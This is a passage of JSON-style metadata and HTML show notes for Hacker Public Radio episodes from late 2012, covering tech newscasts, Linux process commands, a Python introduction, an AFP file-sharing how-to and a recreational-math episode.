      \n","hostid":158,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"brewing,beer ","version":0,"downloads":2359,"valid":1}, {"id":1125,"date":"2012-11-23","title":"TGTM Newscast for 11/21/2012","duration":1292,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      News from \"techdirt.com,\" \"inthesetimes.com,\" and \"icelandreview.com\" used under arranged permission.

      \n

      News from \"torrentfreak.com,\" and \"eff.org\" used under permission of the Creative Commons by-attribution license.

      \n

      News from \"venezuelanalysis.com,\" and \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n\n

      Links

      \n

      \nhttps://venezuelanalysis.com/news/7493
      \nhttps://www.democracynow.org/2012/11/14/headlines#11149
      \nhttps://icelandreview.com/icelandreview/daily_news/?ew_0_a_id=395401
      \nhttps://inthesetimes.com/article/14197/ending_the_drug_war_the_next_serious_step_through_the_haze_of_comedy/
      \nhttps://www.techdirt.com/articles/20121115/15463021068/school-administrator-brushes-off-constitutional-niceties-like-fifth-amendment-rights-students.shtml
      \nhttps://www.eff.org/deeplinks/2012/11/court-blocks-proposition-35s-restriction-anonymous-speech
      \nhttps://www.eff.org/deeplinks/2012/11/when-will-our-email-betray-us-email-privacy-primer-light-petraeus-saga
      \nhttps://torrentfreak.com/megaupload-search-warrants-ignored-massive-non-infringing-use-121118/
      \nhttps://torrentfreak.com/verizon-will-reduce-speeds-of-repeated-bittorrent-pirates-121115/
      \nhttps://www.techdirt.com/articles/20121116/10575921075/taliban-spokesman-accidentally-copies-mailing-list-press-release-email.shtml
      \nhttps://www.rawstory.com/rs/2012/11/18/lindsey-graham-to-romney-gop-is-in-a-death-spiral-so-stop-digging/
      \nhttps://www.rhrealitycheck.org/article/2012/11/16/i-know-this-much-is-true-abortion-is-medical-intervention-some-women-need
      \nhttps://rt.com/usa/news/wikileaks-appelbaum-investigation-manning-277/
      \nhttps://peoplesworld.org/latinos-integral-to-the-winning-electoral-coalition/
      \nhttps://sacsis.org.za/site/article/1485
      \n

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM ","version":0,"downloads":2220,"valid":1}, {"id":1126,"date":"2012-11-26","title":"The DrupalCamp of Adam Evertsson","duration":963,"summary":"Reports and interviews from DrupalCamp Göteborg","notes":"

      DrupalCamp Göteborg

      \n\n

      Do you know web design? Do you know the CMS/CMF Drupal? Do you know how to organize a small conference? No? Today we talk with Adam Evertsson, who organized DrupalCamp Göteborg to spread the word of Drupal in the Gothenburg area. He is the man with all the answers.

      \n\n

      References

      \n\n\n\n

      There will be a few more interviews from DrupalCamp Göteborg, but if you want to hear me and my co-host on All In IT Radio talk more indepth about our experience there, you are more then welcome to turn to our episode 0014 \"It's all about the pitch\".

      \n\n

      How to reach me

      \n\n

      You should follow me and subscribe to All In IT Radio:

      \n\n\n\n\n

      Links

      \n","hostid":192,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Drupal,DrupalCamp ","version":0,"downloads":2241,"valid":1}, {"id":1127,"date":"2012-11-27","title":"AFP file share on a Linux server","duration":1776,"summary":"How to set up a netatalk/Apple Filing Protocol file share on Linux","notes":"

      Klaatu continues his Networking Basics series with a howto set up a\nnetatalk/AFP file share on a Linux server for native-like file\nsharing for Mac clients. \n

      \n

      \nApple Filing Protocol
      \nFrom Wikipedia, the free encyclopedia
      \n
      \nThis article includes a list of references, but its sources remain unclear because it has insufficient inline citations. Please help to improve this article by introducing more precise citations. (March 2008)\nThe Apple Filing Protocol (AFP), formerly AppleTalk Filing Protocol, is a proprietary network protocol that offers file services for Mac OS X and original Mac OS. In Mac OS X, AFP is one of several file services supported including Server Message Block (SMB), Network File System (NFS), File Transfer Protocol (FTP), and WebDAV. AFP currently supports Unicode file names, POSIX and access control list permissions, resource forks, named extended attributes, and advanced file locking. In Mac OS 9 and earlier, AFP was the primary protocol for file services.
      \nhttps://en.wikipedia.org/wiki/Apple_Filing_Protocol\n

      ","hostid":78,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"networking,AFP,Apple Filing Protocol,Netatalk ","version":0,"downloads":2297,"valid":1}, {"id":1128,"date":"2012-11-28","title":"Compilers part4","duration":915,"summary":"Lexical analysis and parsing","notes":"

      \nIn this episode sigflup describes the construction of a calculator using\nlexical analysis and parsing.\n

      \n

      \n

      \nFigure A: https://devio.us/~sigflup/compiler/figa.jpg\n

      \nFigure B: https://devio.us/~sigflup/compiler/figb.jpg\n

      \nFigure C: https://devio.us/~sigflup/compiler/figc.jpg\n

      \nFigure D: https://devio.us/~sigflup/compiler/figd.jpg\n

      \nFigure E: https://devio.us/~sigflup/compiler/fige.jpg\n

      \nFigure F: https://devio.us/~sigflup/compiler/figf.jpg\n

      \nFigure G: https://devio.us/~sigflup/compiler/figg.jpg\n

      \n

      [Editor's Note 2015-05-22: The original links above are all dead, but the images have been rescued from the Wayback Machine and stored on the HPR server]

      \n","hostid":115,"series":84,"explicit":1,"license":"CC-BY-SA","tags":"compiler,lexical analysis,parsing ","version":0,"downloads":2220,"valid":1}, {"id":1129,"date":"2012-11-29","title":"How I got into Linux","duration":587,"summary":"Another contributor describes their Linux journey","notes":"After making the basic mistake of hanging around where Ken can record you, aparanoidshell graciously shares with us his journey to Linux.","hostid":217,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"Windows XP,Ubuntu,Unity,Debian,Gnome,CrunchBang ","version":0,"downloads":2371,"valid":1}, {"id":1130,"date":"2012-11-30","title":"TGTM Newscast for 11/28/2012","duration":1356,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n
        \n
      • Black\nFriday Liveblog: Walmart protests hit stores in at least nine states
      • \n
      • Reform\nto Require Warrant for Private Online Messages Up for Vote, but Down on\nPrivacy
      • \n
      • Expose\nBlatant Security Hole From AT&T... Face Five Years In Jail
      • \n
      • 40\nYears Ago The Supreme Court Effectively Banned Software Patents;\nRemember That?
      • \n
      • Police\nRaid 9-Year-Old Pirate Bay Girl, Confiscate Winnie The Pooh Laptop
      • \n
      \n

      Production and Editorial Selection by DeepGeek, views of the story\nauthors reflect their own opinions and not neccesarily those of TGTM\nnews.\n

      \n

      News from \"techdirt.com,\" \"rawstory.com,\" and\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com,\" \"sacsis.org.za,\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"wlcentral.org\" and \"democracynow.org\" used under\npermission of the Creative Commons\nby-attribution non-commercial no-derivatives license.

      \n

      News from \"rhrealitycheck.org\" used under permission of the Creative\nCommons By-attribution Share-alike license.
      \n

      \n

      News Sources retain their respective copyrights.

      ","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2415,"valid":1}, {"id":1131,"date":"2012-12-03","title":"HPR Community News November 2012","duration":5334,"summary":"HPR Community News November 2012","notes":"

      Featuring

      \n

      \nbobobex
      \ncorenominal
      \ndudeman
      \nFiftyOneFifty
      \nKwisher
      \nnido
      \nnotKlaatu
      \npokey
      \nKen Fallon
      \n

      \n\n

      New hosts

      \n

      No new hosts.\n

      \n\n

      Apologies and Thanks

      \n

      \nApologies to Seetee for putting his shows in the Thursday queue rather than the main queue.
      \nThanks to everyone who sent in shows, to the devl team\n

      \n\n

      Show Review

      \n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n\n \n\n
      id\ntitle\nhost\n
      1112LiTS 017: splitDann
      1113TermDuckEn aptsh<screen<guakeFiftyOneFifty
      1114DudmanoviPodcast Episode 7 - A geeks Journey to natureVarious Creative Commons Works
      1115TGTM Newscast for 11/07/2012deepgeek
      1116Interview with Richard Stallmanpokey
      1117The Wayback Machine-SDF.orgVarious Hosts
      1118My First Brush With FLOSS: Doom AukonDK
      1119Spread the WordSeetee
      1120Jerome Leclanche from the razor-qt projectKen Fallon
      1121Klaatu continues his Networking Basics series with a SAMBA howto.klaatu
      1122LiTS 018: lnDann
      1123Move! Bike ComputerFrank Bell
      1124PodBrewers: Episode 35Various Creative Commons Works
      1125TGTM Newscast for 11/21/2012deepgeek
      1126The DrupalCamp of Adam EvertssonSeetee
      1127AFP file share on a Linux serverklaatu
      1128Compilers part4sigflup
      1129How I got into Linuxaparanoidshell
      1130TGTM Newscast for 11/28/2012deepgeek
      \n\n

      New Year Show !

      \n

      \n Join the HPR annual 24 hour OggCast marathon.
      \nJoin the live session in the HPR room on mumble.openspeak.cc Port: 64747 .
      \nStarting at Mon, Dec 31 2012 at 12:00 UTC and running until 12:00 on Tue, Jan 1 2013.
      \nTo help out with the planning, donating kit etc please join the mail list.
      \nThis event is open to all so please pass on the word to other podcasters
      \nMore information will be added as we get it. \n

      \n
      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":2193,"valid":1}, {"id":1132,"date":"2012-12-04","title":"LiTS 019: Kill the worms!","duration":1283,"summary":"Send a signal to a process with the kill command","notes":"

      \nThe kill command is used in the shell to terminate a process. Kill works by sending a signal to the process and typically this signal is either the SIGTERM or SIGKILL signal, but there are others that can be used. To properly use the kill command you need to know the Process ID, or PID, of the process you want to kill. Also be aware that some processes can spawn child processes of the same or similar name. For instance, if you have are running the Chromium browser you may find multiple instances of the chromium process running. Killing one of these processes may not terminate all the processes because typically all but the first process are children processes. Killing any or all of the children processes will not terminate the mother process. But terminated the mother process will typically kill the children processes.\n
      \nFor more see:
      \nhttps://www.linuxintheshell.com/2012/12/04/episode-019-kill-the-worms/\n

      \n\n\n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"kill,process","version":0,"downloads":2731,"valid":1}, {"id":1133,"date":"2012-12-05","title":"How I got in to Linux","duration":1033,"summary":"Another contributor describes their Linux journey","notes":"

      Dick Thomas (xpd259)

      \n

      How I got in to Linux

      \n\n

      Dear listeners, Today I will be briefly explaining my adventure in to tech\nand Linux, Starting with getting my first computer a ZX Spectrum to the\ncurrent day behemoth and Debian obsession and making youtube videos for fun\nand to spead word of FOSS and all things Linux/BSD

      \n

      Links and other things mentioned in this podcast

      \n\n","hostid":227,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"ZX Spectrum,Corel Linux,Debian,Gentoo,Ubuntu ","version":0,"downloads":2475,"valid":1}, {"id":1134,"date":"2012-12-06","title":"Scannerdrome Ep. 1 - Lola Lariscy","duration":3717,"summary":"An interview with Science Fiction Writer Lola Lariscy","notes":"

      \na Buyer Brown joint Interview with blogger and Science Fiction Writer Lola Lariscy Author of \"End of Life Projections\" and producer of \"Space Janitors\"
      \n
      \n\"Scannerdrome    Scannerdrome https://plus.google.com/106038292741469535152/posts
      \n
      \n\"Cerulean    \nLola Lariscy     https://www.lolalariscy.com/\n    https://ceruleanlobster.blogspot.com
      \n

      \n","hostid":109,"series":54,"explicit":1,"license":"CC-BY-SA","tags":"Science Fiction,interview ","version":0,"downloads":2111,"valid":1}, {"id":1135,"date":"2012-12-07","title":"TGTM Newscast for 12/01/2012","duration":1055,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n\n

      Other Headlines:

      \n\n

      News from \"techdirt.com,\" \"inthesetimes.com,\"\n\"havanatimes.org\" and\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      Audio Clip from \"thecommandline.net\" used under permission of the\nCreative Commons by-attribution share-alike license.
      \n

      \n

      News\nfrom \"torrentfreak.com\" and \"eff.org\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"wlcentral.org,\" and \"democracynow.org,\" used under\npermission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n\n

      Links

      \nhttps://www.democracynow.org/2012/11/27/headlines#11279
      \nhttps://www.allgov.com/news/top-stories/obama-team-made-attempt-to-solidify-drone-policy-in-event-of-romney-win-121128?news=846329
      \nhttps://wlcentral.org/node/2777
      \nhttps://inthesetimes.com/article/14203/independent_media_now/
      \nhttps://www.techdirt.com/articles/20121125/17525521138/kenyan-filmmaker-looking-to-cuts-costs-using-pirates-as-his-distributors.shtml
      \nhttps://www.eff.org/deeplinks/2012/11/attempt-modernize-digital-privacy-law-passes-senate-judiciary-committee
      \nhttps://www.havanatimes.org/?p=82877
      \nhttps://www.wired.com/threatlevel/2012/11/student-suspension/
      \nhttps://torrentfreak.com/tv-shack-admin-richard-odwyer-will-not-be-extradited-to-u-s-121128/
      \nhttps://www.techdirt.com/articles/20121128/15582121169/six-strikes-delayed-until-early-part-2013.shtml
      \nhttps://sacsis.org.za/site/article/1504
      \nhttps://peoplesworld.org/huge-argentina-human-rights-trial-begins/
      \nhttps://sacsis.org.za/site/article/1508
      \nhttps://venezuelanalysis.com/news/7514
      \nhttps://torrentfreak.com/bittorrent-site-owners-fear-european-domain-seizures-121127/
      ","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2232,"valid":1}, {"id":1136,"date":"2012-12-10","title":"LibreOffice 01 Introduction to Office software","duration":1620,"summary":"Introduction to Office Software","notes":"

      LibreOffice\n

      \n

      Some useful sites

      \n\n
      \n

      My web site is at https://www.ahuka.com/.

      \n

      Remember to support free software!

      \n","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, office software, introduction","version":0,"downloads":2453,"valid":1}, {"id":1137,"date":"2012-12-11","title":"Open Street Maps","duration":424,"summary":"Beginner's Guide to OpenStreetMap","notes":"\n

      Short call out for Open Street Maps

      \n


      \n

      \n

      Public Descriptions

      \n

      https://en.wikipedia.org/wiki/OpenStreetMap

      \n

      Main Sites

      \n

      https://www.openstreetmap.org/

      \n

      https://www.openstreetbrowser.org/

      \n


      \n

      \n

      Wiki Links for main mobile OS

      \n

      https://wiki.openstreetmap.org/wiki/Android

      \n

      https://wiki.openstreetmap.org/wiki/IOS

      \n

      https://wiki.openstreetmap.org/wiki/Maemo

      \n


      \n

      \n

      Link to Getting started

      \n

      https://wiki.openstreetmap.org/wiki/Beginners%27_guide

      \n



      \n

      \n

      This Beginners' guide will show you how to add data to\nOpenStreetMap. Tutorials are available in many languages which you\ncan select from the table at the top of this page. \n

      \n

      You need a computer connected to the Internet and some time to\ngather information and then enter it. A GPS unit and connecting cable\nare purely optional, but will be required if you want to collect data\nthat way. Given the excellent aerial photography available in the\neditors these days a GPS is less important than in the early days of\nthe project. \n

      \n\n

      The data you add to OpenStreetMap improves the free world map for\neveryone, whether it's a small correction or thousands of roads added\nover time. Thank you for making OpenStreetMap just that bit better! \n

      \n

      There is a panel on the right of every page of the tutorial. The\npage you are on will be in bold text and you can move to any other\npage by clicking on the relevant page title. The bottom of each page\nhas 'next' and 'previous' links, as appropriate, to take you through\nthe tutorial page by page. \n

      \n","hostid":177,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OpenStreetMap,GPS ","version":0,"downloads":1395,"valid":1}, {"id":1138,"date":"2012-12-12","title":"Programming languages 2 - Python","duration":665,"summary":"An introduction to the Python language","notes":"

      Programming languages 2 - Getting started with Python

      \n\n\n\n\nPython is a very interesting language in the sense that it covers a\nvery wide range of use cases. \n
        \n
      1. It can be useful for simple scripting tasks, that is automating\n repetitive tasks that you usually do by hand.\n
      2. \n
      3. It can also be useful for text file processing, like parsing log\n files or specific formats like XML.\n
      4. \n
      5. You can use use it as a glue language, that is a mix of system\n calls to command-line programs, like in scripting, but also by\n calling foreing language libraries which provide Python bindings.\n
      6. \n
      7. You can use Python as a first language in a Computer Science\n curriculum, since it is simple to learn and supports different\n programming paradigms (Object Oriented, Procedural, Functional).\n
      8. \n
      9. You can it also as an extension language, since a Python\n interpreter can be embedded in C/C++ programs.\n
      10. \n
      11. Python being a very rich language with a very rich standard\n library, you can use it to build very complex applications. There\n are many ways of using it to build complex Graphical User\n Interfaces, since many graphical libraries provide Python bindings\n (https://www.diotavelli.net/PyQtWiki/PyQt4, GTK, etc.). Python also\n provides a default library for GUIs, which is called Tkinter and is\n based on Tcl/Tk.\n
      12. \n
      13. You can also use Python for web development, either by using the\n standard library utilities or by using one of the very popular web\n frameworks like Zope, Plone or Django.\n
      14. \n
      15. Finally, Python is also extensively used in scientific computing,\n since projects like SciPy, Numpy or Matplotlib provide a set of\n tools which allow Python to be as powerful as languages like Matlab\n or IDL with the advantage of being a full fledged language with a\n very rich standard library.\n
      16. \n
      \n\n\n

      2 Installation

      \n

      \nThere are 2 current versions of Python: version 2 and\nversion 3. Version 3 is not fully compatible with version 2, so if you\nare starting with Python, I think is is wise to go with version 3, but\nbe aware that most existing applications and Open Source projects use\nversion 2.\n

      \n

      \nIf you are using a GNU based system, chances are that Python is\nalready installed in you system. Otherwise, it will be available in\nyour distribution repositories. As far as I know, Python is also\navailable on the Mac via the terminal. On widows, you will have to\ndownload a Python distribution from https://python.org/download. On\nthis page you will also find links for downloading Python for Linux,\nMacOS, etc.\n

      \n

      \nIf you go to this site, you will notice that they mention alternative\nimplementations of Python. The implementation I will be talking about\nhere is the one done in C.\n

      \n

      \nTo install Python, you also can download the source code and compile\nit yourself.\n

      \n\n

      3 Syntax and semantics

      \n\n

      \nHave a look at this link\n

      \n

      \nPython is intended to be a highly readable language. It is designed to\nhave an uncluttered visual layout, frequently using English keywords\nwhere other languages use punctuation. Python requires less\nboilerplate than traditional manifestly typed structured languages\nsuch as C or Pascal, and has a smaller number of syntactic exceptions\nand special cases than either of these.\n

      \n

      \nThe simplicity of Python is demonstrated by its version of the classic\n\"Hello world\" program:\n

      \n

      \nprint(\"Hello world\")\n

      \n

      \nIndentation\n

      \n

      \nPython uses whitespace indentation, rather than curly braces or\nkeywords, to delimit blocks; a feature also termed the off-side\nrule. An increase in indentation comes after certain statements; a\ndecrease in indentation signifies the end of the current block.\n

      \n

      \nStatements and control flow\n

      \n

      \nPython's statements include (among others):\n

      \n

      \n The if statement, which conditionally executes a block of code,\n along with else and elif (a contraction of else-if).\n

      \n

      \n The for statement, which iterates over an iterable object,\n capturing each element to a local variable for use by the attached\n block.\n

      \n

      \n The while statement, which executes a block of code as long as its\n condition is true.\n

      \n

      \n The class statement, which executes a block of code and attaches\n its local namespace to a class, for use in object-oriented\n programming.\n

      \n

      \n The def statement, which defines a function or method.\n

      \n

      \n The import statement, which is used to import modules whose\n functions or variables can be used in the current program.\n

      \n

      \nEach statement has its own semantics: for example, the def statement\ndoes not execute its block immediately, unlike most other statements.\n

      \n

      \nExpressions\n

      \n

      \nPython expressions are similar to languages such as C and Java.\n

      \n

      \n In Python, == compares by value, in contrast to Java, where it\n compares by reference. (Value comparisons in Java use the equals()\n method.) Python's is operator may be used to compare object\n identities (comparison by reference). Comparisons may be chained,\n for example a <= b <= c.\n

      \n

      \n Python uses the words and, or, not for its boolean operators\n rather than the symbolic &&, ||, ! used in Java and C.\n

      \n

      \n Conditional expressions in Python are written as x if c else y\n (different in order of operands from the ?: operator common to\n many other languages).\n

      \n\n

      \nMethods\n

      \n

      \nMethods on objects are functions attached to the object's class; the\nsyntax instance.method(argument) is, for normal methods and functions,\nsyntactic sugar for Class.method(instance, argument). Python methods\nhave an explicit self parameter to access instance data, in contrast\nto the implicit self in some other object-oriented programming\nlanguages (for example, Java, C++ or Ruby).\n

      \n

      \nTyping\n

      \n

      \nPython uses duck typing and has typed objects but untyped variable\nnames. Type constraints are not checked at compile time; rather,\noperations on an object may fail, signifying that the given object is\nnot of a suitable type. Despite being dynamically typed, Python is\nstrongly typed, forbidding operations that are not well-defined (for\nexample, adding a number to a string) rather than silently attempting\nto make sense of them.\n

      \n

      \nPython allows programmers to define their own types using classes,\nwhich are most often used for object-oriented programming. New\ninstances of classes are constructed by calling the class (for\nexample, SpamClass() or EggsClass()), and the classes themselves are\ninstances of the metaclass type (itself an instance of itself),\nallowing metaprogramming and reflection.\n

      \n\n

      4 Interpreter

      \n\n

      The section 3 of the python tutorial (An informal introduction to Python) gives a very good overview of the use of the interactive interpreter.\n

      \n

      \nOf course, if you are going to write long programs, you will want to\nsave them to files which can then be passed to the interpreter for execution.\n

      \n\n

      5 Standard library

      \n\n

      Python has a very rich standard library, that is a set of modules\nwhich are part of the standard Python installation and which provide\nmany interesting functions which in many other languages are only\nprovided by 3rd party libraries :\n

      \n
        \n
      • Operating System Interface\n
      • \n
      • Command Line Arguments\n
      • \n
      • Error Output Redirection and Program Termination\n
      • \n
      • String Pattern Matching\n
      • \n
      • Mathematics\n
      • \n
      • Internet Access\n
      • \n
      • Dates and Times\n
      • \n
      • Data Compression\n
      • \n
      • Performance Measurement\n
      • \n
      • Output Formatting\n
      • \n
      • Working with Binary Data Record Layouts\n
      • \n
      • Multi-threading\n
      • \n
      • Logging\n
      • \n
      • Decimal Floating Point Arithmetic\n
      • \n
      \n\n\n

      6 Documentation and tutorials

      \n\n

      The main reference is the Python documentation page at\nhttps://docs.python.org/ . There you will find a very useful tutorial\n(this is the place to start), the standard library reference, and many\nother interesting information.\n

      \n","hostid":197,"series":25,"explicit":1,"license":"CC-BY-SA","tags":"programming,Python ","version":0,"downloads":2426,"valid":1}, {"id":1139,"date":"2012-12-13","title":"The missing episode","duration":2535,"summary":"Discoveries made while spring cleaning","notes":"Psst... Ken is busy setting up servers for the new year episode, we're just going to slip out this episode that Mr. Gadgets himself forgot about.
      \n
      \nIn this episode Mr. Gadgets shares with us his discoveries as he does some spring cleaning.
      \n
      \nWhere were we 15 years ago, Power PC's, MB hard disks\n
      \nAnd the Kansas city air pirates - what more do you want....\n","hostid":155,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"history,computers,IT ","version":0,"downloads":2234,"valid":1}, {"id":1140,"date":"2012-12-14","title":"TGTM Newscast for 12/9/2012","duration":947,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n
        \n
      • ‘Fiscal\ncliff’ a nonsensical construct for elections’ losers to have their way
      • \n
      • Cuba Won’t Free\nAlan Gross Unilaterally
      • \n
      • Michigan\nlawmaker slams Republicans in emotional labor rights speech
      • \n
      • In\nWake of U.S. Global War on Terror, International Terrorist Attacks Have\nQuadrupled since 9/11
      • \n
      • Walmart’s\nDownward Wage Spiral
      • \n
      • IMAGiNE\nBitTorrent Piracy Group “Sysop” Jailed 40 months
      • \n
      • Top\nBitTorrent Sites Have Domains Put On Hold Pending Legal Action
      • \n
      • TorrentReactor\nLaunches Proxy to Circumvent Torrent Site Censorship
      • \n
      • No\nSurprise Here: Congress Passes Unanimous Resolution Telling The ITU:\nHands Off The Internet
      • \n
      • Kim\nDotcom Cleared To Pursue Case Against New Zealand For Illegal Spying
      • \n
      \n

      Other Headlines:

      \n\n

      News from \"techdirt.com,\" \"thestand.org,\" \"havanatimes.org,\"\n\"rawstory.com,\" \"inthesetimes.com,\"\nand\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"torrentfreak.com\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News Sources retain their respective copyrights.

      \n

      Links

      \nhttps://www.thestand.org/2012/12/fiscal-cliff-is-a-mechanism-for-elections-losers-to-have-their-way/
      \nhttps://www.havanatimes.org/?p=83267
      \nhttps://www.rawstory.com/rs/2012/12/06/michigan-lawmaker-slams-republicans-in-emotional-labor-rights-speech/
      \nhttps://www.allgov.com/news/us-and-the-world/in-wake-of-us-global-war-on-terror-international-terrorist-attacks-have-quadrupled-since-911-121206?news=846402
      \nhttps://inthesetimes.com/article/14254/walmarts_downward_wage_spiral1/
      \nhttps://torrentfreak.com/imagine-bittorrent-piracy-group-sysop-jailed-40-months-121130/
      \nhttps://torrentfreak.com/top-bittorrent-sites-have-domains-put-on-hold-pending-legal-action-121201/
      \nhttps://torrentfreak.com/torrentreactor-launches-proxy-to-circumvent-torrent-site-censorship-121206/
      \nhttps://www.techdirt.com/articles/20121205/15500921246/no-surprise-here-congress-passes-unanimous-resolution-telling-itu-hands-off-internet.shtml
      \nhttps://www.techdirt.com/articles/20121205/15333521245/kim-dotcom-cleared-to-pursue-case-against-new-zealand-illegal-spying.shtml
      \nhttps://www.bradleymanning.org/activism/exclusive-presentation
      \nhttps://wlcentral.org/node/2784
      \nhttps://www.allgov.com/news/unusual-news/49-of-republicans-think-non-existent-group-stole-presidential-election-for-obama-121205?news=846392
      \nhttps://www.eff.org/deeplinks/2012/12/newly-released-drone-records-reveal-extensive-military-flights-us
      \nhttps://securityledger.com/new-25-gpu-monster-devours-passwords-in-seconds/
      ","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":2210,"valid":1}, {"id":1141,"date":"2012-12-17","title":"mumble client intro","duration":518,"summary":"A brief introduction to the Mumble client","notes":"This is a very brief introduction to the mumble client, highlighting some of the basic options and gotchas involved in setting it up.","hostid":228,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"mumble,\"SSL certificate\",\"audio wizard\"","version":0,"downloads":6773,"valid":1}, {"id":1142,"date":"2012-12-18","title":"LiTS 020: pgrep and pkill","duration":1690,"summary":"Look up or signal processes based on name and other attributes with pgrep and pkill","notes":"

      \nThis episode the focus will be on two commands that go hand-in-hand: pgrep and pkill. Like the kill command, pkill is used to send a signal to a process usually with the intent to terminate or stop the process. Instead of passing the Process ID (PID) you can pass the process name:\n
      \npkill xterm\n

      \n

      \nFor the rest of this episode please check out the shownotes and video at https://www.linuxintheshell.com/2012/12/18/episode-20-pgrep-and-pkill/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"pgrep,pkill,process","version":0,"downloads":2638,"valid":1}, {"id":1143,"date":"2012-12-19","title":"The N Days of Christmas? Intro to Recreational Math","duration":1365,"summary":"Intro to Recreational Math Part Zero","notes":"
      \nHacker Public Radio: 206 203 5729\n\nThe N Days of Christmas? Intro to Recreational Math\nPart Zero: Calendar Counting\n\nFirst episode of HPR that contains a direct discussion of a math topic.\n - Episode 479 Ohio Linux Fest, Klaatu interviews DWick about math \n      software for Linux\n      \n - Episode 523 Using Petunia software to teach math\n\n\nInspired by a traditional song that is proof that some songs do not\n   need to be recorded by William Shatner to be annoying.\n - Repetitive and formulaic\n - Involves a lot of counting, and that's our focus here. \n \n \nWhat is the 12 Days of Christmas?\n - Starts on Christmas Day, runs through the day before the next Season\n - Hint: That's 'Epiphany', which starts January 6.\n - Counting calendar days comes hard, so we tend to use our fingers\n - Turns out that using our fingers is quite mathematical. Here's why.\n \nFinger Counting: How do I count Twelve Days?\n - Let's start easy, with the fingers on one hand. My hands have five.\n - To name the Five Days of New Years is easy: January 1-5 <done>\n \n - What about the Five Days of Christmas?\n        Physical way                   General way\n   * Christmas Day gets 1 (thumb)     Dec 25 is one day after Dec 24\n   * Dec 26 gets 2 (index)            26 - 24 = 2 days\n   * Dec 27 gets 3 (salute finger)    27 - 24 = 3 days\n   * Dec 28 gets 4 (ring)             28 - 24 = 4 days\n   * Dec 29 gets 5 (pinky)            29 - 24 = 5 days\n \n - Notice that counting 5 days, starting with Dec 25, is the same\n     as numbering the days after Dec 24 (Christmas Eve).\n   * In math, we call this \"1-1 correspondence with natural numbers\"\n   * Math can give you the same certainty as using your fingers.  \n   * But it handles larger problems, because you don't run out.\n \n - Example: I'm booked to speak on Day 4 of a 5-day conference\n   * Starts on the 25th of the month\n   * When do I have to show up?\n     - Wrong: Add 4 to first day (25), and arrive a day late.\n     - Correct: Add 4 to date of pre-registration cocktail party (24),\n          and arrive on time.\n      \n - OK. Back to Twelve Days of Christmas.  \n   * The labeling approach tells us that December can hold only the \n       first seven of the Twelve Days of Christmas, \n   * December 31 - December 24 gives me 7 days.\n \n \n Partitioning: Adding hands full of additional fingers as needed\n  - How do we handle the case where we go into the next month?\n  - Key insight: Running out of December days for the Twelve Days is \n       like running out of fingers on one hand when we count to 8.\n  - We are so good at counting on our fingers that we don't recognize \n       the act of partitioning the number 8 between our two hands.\n    *  Left hand gets 1, 2, 3, 4 and 5.\n    *  Right hand picks up 6, 7 and 8 by mapping them to fingers 1,2,3.\n\n  - To count even higher, we could:\n      1) keep borrowing other people's hands, or\n      2) track the number of times we reuse our two hands as we go\n    \n    * First method mirrors calendar math (\"Annexing\" hands, or months)\n    * Second is positional notation (\"base 10\" and all that)\n\n\nBack to the Twelve Days\n - I have Twelve Days: 1, 2, ... 12 to assign to dates, even though I \n     may only be interested in the first and last dates right now.\n   * Start: How many can I fit into December?\n   * December 31st is last. It gets assigned 31 - 24, or 7. \n   * By \"finger math\", that means I have mapped 7 of the Twelve Days\n   * That leaves 12 - 7, or 5 days into January.\n \n - Who can tell me which days are assigned in January? Anyone?\n   * That's right, Ken.  January 1, 2, 3, 4 and 5.\n   * So the Twelve Days of Christmas runs 25 December to 5 January \n\n\nQuestion: What if there were 72 Days of Christmas?  When would it end?\n - Note: Don't worry.  This is purely hypothetical.\n\n - Let's attack this with finger math, with partitioning and annexing\n   * December, as we have seen, accounts for 7 days: 25 through 31\n   * That leaves 72 - 7, or 65 days\n   * January easily picks up 31 days: 1 to 31, leaving 65 - 31 = 34 days\n   * February can handle either 28 days, or 29 on a leap year.\n   * This leaves us either 5 or 6 days into March\n\n - Final Answer: 72 Days of Christmas would run from Christmas until the\n     following March 5 (leap year), or March 6 (all other years).\n   * On Day 73, everyone would enter treatment for Christmas overdose.\n\nLet's check the answer: Day 72 would end ten weeks and 2 days 